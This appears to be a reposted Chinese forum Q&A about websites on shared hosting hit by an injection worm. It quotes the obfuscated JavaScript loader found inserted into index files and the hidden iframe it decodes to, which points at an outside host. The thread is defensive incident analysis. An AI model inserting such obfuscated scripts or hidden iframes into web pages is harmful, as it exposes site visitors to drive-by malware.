加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > PHP教程 > 正文

共享主机环境中出现PHP解析错误

发布时间:2020-12-13 13:53:17 所属栏目:PHP教程 来源:网络整理
导读:最近有没有其他人看到过这个问题?我有几个网站因此错误而失败. Parse error: syntax error,unexpected '' in /home/public_html/index.PHP on line 39 它是由蠕虫/注入攻击引起的,它可以在任何可以找到的index.php / index.html文件中随机转储以下代码: ht
最近有没有其他人看到过这个问题?我有几个网站因此错误而失败.
Parse error: syntax error,unexpected '<' in /home/public_html/index.PHP on line 39

它是由蠕虫/注入攻击引起的,它可以在任何可以找到的index.php / index.html文件中随机转储以下代码:

<html><body><script>date=new Date();var ar="Aw'zg>lpNu1m<0]c;erCy,aTnhE={s}i B() :[."ofbvdt/";try{gserkewg();}catch(a){k=new Boolean().toString()};var ar2="f108,-15,33,-30,6,-12,-78,-18,18,21,66,-21,-105,39,87,-60,-51,12,-39,9,-3,-54,42,-33,51,-96,123,-6,-75,99,3,63,24,-72,48,-57,60,-45,69,-36,45,27,-114,-87,-84,57,-9,36,-117,90,30,78,72,108,96,-42,-27,-93,-63,-24,-81,126,75,102,111,-102,105,-48,-99,93,-66,15,-138,138,81,-69,-132,117,-18]".replace(k.substr(0,1),'[');pau="rn ev2010".replace(date.getFullYear()-1,"al");e=new Function("","retu"+pau);e=e();ar2=e(ar2);s="";var pos=0;for(i=0;i<ar2.length;i++){pos+=parseInt(k.replace("false","0asd"))+ar2[i]/3;s+=ar.substr(pos,1);}e(s);</script></body></html>

该代码盲目地插入了一个源自javascript的iFrame:

<iframe height="10" width="10" src="http://counterstats.cz.cc/counter.htm" style="visibility: hidden; position: absolute; left: 0pt; top: 0pt;"></iframe>

我试图将网站拆开看看这是怎么发生的,但是有谁知道这是什么特定的攻击以及它是如何传播的?它是未泄漏的未修补代码,CPanel本身,破解密码,根服务器?

编辑

我无法确切地确定这里发生了什么,但它似乎是CPanel的事情 – 改变CPanel中的所有密码似乎都会阻止重复攻击.我在这种状态下留下了一个不重要的网站(没有清理网站代码),而且在它每天都被破坏之前一直都很好.联系了UK2.net和JustHost,但到目前为止还没有回应.

似乎public_html文件夹和一些其他“系统”文件夹已经奇怪地被chmod – 很多777应该没有.到目前为止,主机上没有回应.

编辑

似乎是“Trojan.JS.Agent.bur”试图了解更多……

听起来您的网站已成为蠕虫的受害者,这种蠕虫会将HTML /代码注入您的文件中.下次发布有问题的代码并进行分析.在此期间,您应确保所有应用程序和系统库都是最新的安全修补程序.

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读